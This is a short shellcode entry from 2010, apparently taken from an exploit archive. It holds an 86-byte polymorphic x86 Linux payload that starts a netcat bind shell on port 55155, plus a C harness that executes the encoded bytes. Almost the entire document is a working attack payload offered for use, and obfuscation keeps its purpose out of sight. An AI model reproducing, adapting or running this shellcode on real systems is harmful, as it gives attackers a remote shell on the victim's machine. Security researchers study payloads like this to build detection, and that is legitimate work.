86 Bytes – Polymorphic "netcat bindport 55155" Shellcode
/* Name : 86 bytes "polymorphic - netcat bindport 55155" Info : this shellcode create a bindport 55155 with netcat Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\xeb\x13\x5e\x31\xc9\xb1\x3c\x80\x2e\x45\x80\x36\x45\x80\x06" "\x45\x46\xe2\xf4\xeb\x05\xe8\xe8\xff\xff\xff\xee\x83\x46\x7d" "\x93\xab\xb1\xf4\xb1\xa0\xab\xf4\xf4\x9d\xa6\x46\x20\x93\xab" "\xfa\xee\xfa\xfa\xab\xf2\xa7\xb3\xfa\x46\x1e\x93\xab\xf4\xf4" "\xb0\xab\xab\xf4\x9d\xa6\xb1\xab\xf2\xa0\xf4\xf4\x46\x1d\x93" "\x73\xc8\x8d\x8e\x90\x46\x1e\xee\x0d\x12\xc3"; int main(void) { fprintf(stdout,"[*] Shellcode length: %dn",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }